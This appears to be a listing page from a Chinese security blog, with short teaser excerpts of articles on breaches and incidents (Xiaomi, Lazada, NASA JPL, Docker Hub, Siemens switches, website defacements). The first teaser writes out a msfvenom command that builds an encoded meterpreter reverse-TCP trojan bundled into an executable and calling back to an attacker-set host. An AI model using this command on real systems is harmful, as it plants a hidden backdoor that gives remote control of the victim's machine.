桑云信息安云
2021-07-27
具体思路第一步构建恶意文件1.指定一个可执行程序 捆绑木马msfvenom -p windows/x64/meterpreter_reverse_tcp -e x64/zutto_dekiru LHOST=[IP] LPORT=3333 -x webshell.exe ...
桑云信息安云
2021-04-10
九价HPV疫苗市场需求量巨大该疫苗虽已于2018年5月在国内正式获批上市但仍是“一针难求”不少女性甚至男性为了尽早接种不惜花重金到私人中介处购买“九价HPV疫苗”一些不法分子因此动起了“歪脑筋”。2021年1月，南京警方接到某妇幼保健所报警称，其微信公众号hpv疫苗接种预约系统上出现两个异常预约，有两名用户在非正常预约时间段完成了线上预约，获取了疫苗接种资格...
桑云信息安云
2020-11-19
据媒体报道小米公司在本月17号发出全员级别的通告，通告中小米称人工智能实验室实习生私自映射内网端口至公网。当然比将公司内网映射到公网更严重的是这番操作导致不法分子入侵小米服务器，目前这名实习生已被小米开除。小米并没有透露服务器被入侵是否造成其他重大安全影响，但小米在通告中提到相关涉案人员已经移送司法处理。这里的相关涉案人员肯定是包括...
桑云信息Lzers
2020-11-01
据报道，阿里巴巴旗下电商平台、新加坡电子商务公司 Lazada 今日宣布，其 110 万账号信息被黑客入侵。在这个拥有 570 万人口的国家（新加坡），这显然是一次重大的黑客入侵事件。这些账号信息包括用户的家庭住址、部分信用卡号码等。Lazada 在一封电子邮件中称，这些信息是从其杂货子公司 RedMart 的数据库中窃取的，属于 18 个月前的数据。Red...
dingxiang
2020-09-24
近日，顶象洞见安全实验室发现西门子多款工业交换机存在高危漏洞。利用这些漏洞，黑客可远程窃取敏感信息，直接对联网的工控设备下达停止、销毁、开启、关闭等各种指令，甚至在网络内植入木马病毒。预计至少有17款西门子款设备受影响。 顶象洞见安全实验室已第一时间将相关漏洞细节上报CNNVD（国家信息安全漏洞库）和CNVD（国家信息安全漏洞共享平台），同时建议使...
dingxiang
2020-08-26
俗话说得好，“常在网上走，哪有不验证”。我们爱也好恨也罢，每天谁不抓耳挠腮输入几个验证码呢？然而验证码说到底是一种被动防御的对策，今天我们快速梳理梳理验证码从无到有的发展历程，并且介绍一种思路非常前沿的黑科技，改被动为主动、如丝般顺滑的：不验证的验证码——无感验证。一、 为什么要验证验证码是为了反垃圾。早在90年代，雅虎邮箱就频频遭到机器产生的大量垃圾邮件骚...
桑云信息Lzers
2020-07-15
昨天有网友打开广东足协官网发现在世界排名一栏中国男足高居世界第一今天（7月14日）凌晨0时左右，广东省足球协会在官方微信发布关于广东省足球协会官网出现异常情况的说明，回应了这一乌龙：有人对数据库进行恶意篡改。广东省足球协会 官方微信截图广东省足球协会在该份说明中称，此次异常情况是个别人员通过非法手段侵入网站后台，对数据库进行恶意篡改，导致网站国际足联男足排名...
桑云信息Lzers
2020-07-09
成都电子科技大学被印度留学生搞了，教学楼显示屏出现“拒绝中国制造”口号？自从前段时间中印边境冲突之后，印度反华的情绪就一直居高不下，从最开始抵制中国制造，砸电视、砸手机，到后来下架国内59款APP参考：突发！以“国家安全”为名，印度政府宣布封杀59款中国APP前几天刷微博的时候刷到一个ID上帝之鹰发的成都电子科技大学清水河校区品字楼C区的教学楼显示屏上面出现...
萧寒
2019-06-24
据外媒报道，NASA总监察长办公室(OIG)于本周发布的一份报告显示，2018年4月，有黑客攻击了他们的网络并盗走了约500M与火星任务相关的数据。攻入的切点则是一台连着NASA喷气推进实验室(JPL) IT网络的树莓派电脑。黑客偷走火星任务数据根据一份49页的OIG报告，黑客通过入侵一个共享网络网关然后利用该入口深入JPL网络，之后进入了存有NASA JP...
桑云信息安云
2019-04-28
美国当地时间周五晚上，有开发者表示收到来自 Docker 的官方邮件，邮件内容显示由于 Docker Hub 遭受非法入侵，已导致 19 万个帐号的敏感数据被泄露，这些数据包括小部分用户的用户名和哈希密码，以及用于自动构建 Docker 镜像而授权给 Docker Hub 的 GitHub 和 Bitbucket token。Docker Hub 是 Doc...
蜀ICP备2021014542号-2
